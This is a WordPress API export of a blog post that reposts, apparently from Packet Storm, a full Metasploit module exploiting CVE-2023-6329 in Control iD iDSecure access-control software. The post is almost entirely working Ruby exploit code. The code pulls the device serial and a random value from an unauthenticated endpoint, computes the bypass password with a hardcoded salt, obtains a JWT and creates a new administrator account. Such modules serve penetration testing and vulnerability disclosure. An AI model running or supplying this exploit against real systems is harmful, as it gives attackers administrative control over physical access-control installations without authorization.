{"id":59306,"date":"2024-09-01T00:49:46","date_gmt":"2024-08-31T21:49:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180858\/idsecure_auth_bypass.rb.txt"},"modified":"2024-09-01T00:49:46","modified_gmt":"2024-08-31T21:49:46","slug":"control-id-idsecure-authentication-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/control-id-idsecure-authentication-bypass\/","title":{"rendered":"Control ID IDSecure Authentication Bypass"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>CheckCode = Exploit::CheckCode<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Control iD iDSecure Authentication Bypass (CVE-2023-6329)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure &lt;= v4.7.43.0. It allows an<br \/>unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Michael Heinzl&#8217;, # MSF Module<br \/>&#8216;Tenable&#8217; # Discovery and PoC<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2023-6329&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.tenable.com\/security\/research\/tra-2023-36&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-11-27&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 30443,<br \/>&#8216;SSL&#8217; =&gt; &#8216;True&#8217;<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, CONFIG_CHANGES]}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;NEW_USER&#8217;, [true, &#8216;The new administrative user to add to the system&#8217;, Rex::Text.rand_text_alphanumeric(8)]),<br \/>OptString.new(&#8216;NEW_PASSWORD&#8217;, [true, &#8216;Password for the specified user&#8217;, Rex::Text.rand_text_alphanumeric(12)])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/util\/configUI&#8217;)<br \/>})<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError<br \/>return CheckCode::Unknown<br \/>end<\/p>\n<p>return CheckCode::Unknown unless res&amp;.code == 401<\/p>\n<p>data = res.get_json_document<br \/>version = data[&#8216;Version&#8217;]return CheckCode::Unknown if version.nil?<\/p>\n<p>print_status(&#8216;Got version: &#8216; + version)<br \/>return CheckCode::Safe unless Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;4.7.43.0&#8217;)<\/p>\n<p>return CheckCode::Appears<br \/>end<\/p>\n<p>def run<br \/># 1) Obtain the serial and passwordRandom<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/login\/unlockGetData&#8217;)<br \/>)<\/p>\n<p>unless res<br \/>fail_with(Failure::Unreachable, &#8216;Failed to receive a reply from the server.&#8217;)<br \/>end<br \/>unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, res.to_s)<br \/>end<\/p>\n<p>json = res.get_json_document<br \/>unless json.key?(&#8216;passwordRandom&#8217;) &amp;&amp; json.key?(&#8216;serial&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unable to retrieve passwordRandom and serial&#8217;)<br \/>end<\/p>\n<p>password_random = json[&#8216;passwordRandom&#8217;]serial = json[&#8216;serial&#8217;]print_good(&#8216;Retrieved passwordRandom: &#8216; + password_random)<br \/>print_good(&#8216;Retrieved serial: &#8216; + serial)<\/p>\n<p># 2) Create passwordCustom<br \/>sha1_hash = Digest::SHA1.hexdigest(serial)<br \/>combined_string = sha1_hash + password_random + &#8216;cid2016&#8217;<br \/>sha256_hash = Digest::SHA256.hexdigest(combined_string)<br \/>short_hash = sha256_hash[0, 6]password_custom = short_hash.to_i(16).to_s<br \/>print_status(&#8220;Created passwordCustom: #{password_custom}&#8221;)<\/p>\n<p># 3) Login with passwordCustom and passwordRandom to obtain a JWT<br \/>body = &#8220;{\\&#8221;passwordCustom\\&#8221;: \\&#8221;#{password_custom}\\&#8221;, \\&#8221;passwordRandom\\&#8221;: \\&#8221;#{password_random}\\&#8221;}&#8221;<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/login\/&#8217;),<br \/>&#8216;data&#8217; =&gt; body<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unreachable, &#8216;Failed to receive a reply from the server.&#8217;)<br \/>end<br \/>unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, res.to_s)<br \/>end<\/p>\n<p>json = res.get_json_document<br \/>unless json.key?(&#8216;accessToken&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Did not receive JWT&#8217;)<br \/>end<\/p>\n<p>access_token = json[&#8216;accessToken&#8217;]print_good(&#8216;Retrieved JWT: &#8216; + access_token)<\/p>\n<p># 4) Add a new administrative user<br \/>body = {<br \/>idType: &#8216;1&#8217;,<br \/>name: datastore[&#8216;NEW_USER&#8217;],<br \/>user: datastore[&#8216;NEW_USER&#8217;],<br \/>newPassword: datastore[&#8216;NEW_PASSWORD&#8217;],<br \/>password_confirmation: datastore[&#8216;NEW_PASSWORD&#8217;]}.to_json<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Authorization&#8217; =&gt; &#8220;Bearer #{access_token}&#8221;<br \/>},<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/operator\/&#8217;),<br \/>&#8216;data&#8217; =&gt; body<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unreachable, &#8216;Failed to receive a reply from the server.&#8217;)<br \/>end<\/p>\n<p>unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, res.to_s)<br \/>end<\/p>\n<p>json = res.get_json_document<br \/>unless json.key?(&#8216;code&#8217;) &amp;&amp; json[&#8216;code&#8217;] == 200 &amp;&amp; json.key?(&#8216;error&#8217;) &amp;&amp; json[&#8216;error&#8217;] == &#8216;OK&#8217;<br \/>fail_with(Failure::UnexpectedReply, &#8216;Received unexpected value for code and\/or error:\\n&#8217; + json.to_s)<br \/>end<\/p>\n<p># 5) Confirm credentials work<br \/>body = {<br \/>username: datastore[&#8216;NEW_USER&#8217;],<br \/>password: datastore[&#8216;NEW_PASSWORD&#8217;],<br \/>passwordCustom: nil<br \/>}.to_json<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/login\/&#8217;),<br \/>&#8216;data&#8217; =&gt; body<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unreachable, &#8216;Failed to receive a reply from the server.&#8217;)<br \/>end<\/p>\n<p>unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, res.to_s)<br \/>end<\/p>\n<p>json = res.get_json_document<br \/>unless json.key?(&#8216;accessToken&#8217;) &amp;&amp; json.key?(&#8216;unlock&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Received unexpected reply:\\n&#8217; + json.to_s)<br \/>end<\/p>\n<p>store_valid_credential(user: datastore[&#8216;NEW_USER&#8217;], private: datastore[&#8216;NEW_PASSWORD&#8217;], proof: json.to_s)<br \/>print_good(&#8220;New user &#8216;#{datastore[&#8216;NEW_USER&#8217;]}:#{datastore[&#8216;NEW_PASSWORD&#8217;]}&#8217; was successfully added.&#8221;)<br \/>print_good(&#8220;Login at: #{full_uri(normalize_uri(target_uri, &#8216;#\/login&#8217;))}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheckCheckCode = Exploit::CheckCode def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Control iD iDSecure Authentication Bypass (CVE-2023-6329)&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure &lt;= v4.7.43.0. It allows anunauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59306","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59306","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59306"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59306\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}